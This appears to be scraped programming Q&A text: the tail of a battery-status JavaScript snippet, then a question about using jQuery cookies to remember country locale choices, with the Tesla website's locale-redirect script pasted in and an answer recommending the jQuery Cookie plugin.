clearTimeout(batterytimeOut); batterytimeOut = null; timeOutGo = false; } function IsPluggedIn() { return String(PluggedIn); } </script> </head> <body onload="GetTicksPerSecond()"> <div id="PowerStatus"></div> <button onclick="StopTimeOut()">Stop timeout</button> </body> </html> For background tasks SystemTriggerType.BackgroundWorkCostChange event is best but needs lock screen access
jquery cookies for different countries link
I am trying to do cookie stuff in jquery but it not getting implemented can you guys fix my problem html code <a rel="en_CA" class="selectorCountries marginUnitedStates locale-link" href="http://www.teslamotors.com/en_CA">united states</a> <a rel="en_US" class="selectorCountries marginSecondCountry locale-link" href="http://www.teslamotors.com/en_CA">canada</a> <a rel="en_BE" class="selectorCountries marginCanadaFrench locale-link" href="http://www.teslamotors.com/en_BE">canada(french)</a> i am providing my js code below http://jsfiddle.net/SSMX4/76/ when i click the different country links in the pop up it should act similar to this site http://www.teslamotors.com/it_CH $('.locale-link').click(function(){ var desired_locale = $(this).attr('rel'); createCookie('desired-locale',desired_locale,360); createCookie('buy_flow_locale',desired_locale,360); closeSelector('disappear'); }) $('#locale_pop a.close').click(function(){ var show_blip_count = readCookie('show_blip_count'); if (!show_blip_count) { createCookie('show_blip_count',3,360); } else if (show_blip_count < 3 ) { eraseCookie('show_blip_count'); createCookie('show_blip_count',3,360); } $('#locale_pop').slideUp(); return false; }); function checkCookie(){ var cookie_locale = readCookie('desired-locale'); var show_blip_count = readCookie('show_blip_count'); var tesla_locale = 'en_US'; //default to US var path = window.location.pathname; // debug.log("path = " + path); var parsed_url = parseURL(window.location.href); var path_array = parsed_url.segments; var path_length = path_array.length var locale_path_index = -1; var locale_in_path = false; var locales = ['en_AT', 'en_AU', 'en_BE', 'en_CA', 'en_CH', 'de_DE', 'en_DK', 'en_GB', 'en_HK', 'en_EU', 'jp', 'nl_NL', 'en_US', 'it_IT', 'fr_FR', 'no_NO'] // see if we are on a locale path $.each(locales, function(index, value){ locale_path_index = $.inArray(value, path_array); if (locale_path_index != -1) { tesla_locale = value == 'jp' ? 'ja_JP':value; locale_in_path = true; } }); // debug.log('tesla_locale = ' + tesla_locale); cookie_locale = (cookie_locale == null || cookie_locale == 'null') ? false:cookie_locale; // Only do the js redirect on the static homepage. if ((path_length == 1) && (locale_in_path || path == '/')) { debug.log("path in redirect section = " + path); if (cookie_locale && (cookie_locale != tesla_locale)) { // debug.log('Redirecting to cookie_locale...'); var path_base = ''; switch (cookie_locale){ case 'en_US': path_base = path_length > 1 ? path_base:'/'; break; case 'ja_JP': path_base = '/jp' break; default: path_base = '/' + cookie_locale; } path_array = locale_in_path != -1 ? path_array.slice(locale_in_path):path_array; path_array.unshift(path_base); window.location.href = path_array.join('/'); } } // only do the ajax call if we don't have a cookie if (!cookie_locale) { // debug.log('doing the cookie check for locale...') cookie_locale = 'null'; var get_data = {cookie:cookie_locale, page:path, t_locale:tesla_locale}; var query_country_string = parsed_url.query != '' ? parsed_url.query.split('='):false; var query_country = query_country_string ? (query_country_string.slice(0,1) == '?country' ? query_country_string.slice(-1):false):false; if (query_country) { get_data.query_country = query_country; } $.ajax({ url:'/check_locale', data:get_data, cache: false, dataType: "json", success: function(data){ var ip_locale = data.locale; var market = data.market; var new_locale_link = $('#locale_pop #locale_link'); if (data.show_blip && show_blip_count < 3) { setTimeout(function(){ $('#locale_msg').text(data.locale_msg); $('#locale_welcome').text(data.locale_welcome); new_locale_link[0].href = data.new_path; new_locale_link.text(data.locale_link); new_locale_link.attr('rel', data.locale); if (!new_locale_link.hasClass(data.locale)) { new_locale_link.addClass(data.locale); } $('#locale_pop').slideDown('slow', function(){ var hide_blip = setTimeout(function(){ $('#locale_pop').slideUp('slow', function(){ var show_blip_count = readCookie('show_blip_count'); if (!show_blip_count) { createCookie('show_blip_count',1,360); } else if (show_blip_count < 3 ) { var b_count = show_blip_count; b_count ++; eraseCookie('show_blip_count'); createCookie('show_blip_count',b_count,360); } }); },10000); $('#locale_pop').hover(function(){ clearTimeout(hide_blip); },function(){ setTimeout(function(){$('#locale_pop').slideUp();},10000); }); }); },1000); } } }); }
This will help you ALOT! jQuery Cookie Plugin I use this all the time. Very simple to learn. Has all the necessary cookie functions built-in and allows you to use a tiny amount of code to create your cookies, delete them, make them expire, etc. Let me know if you have any questions on how to use (although the DOCS have a decent amount of instruction).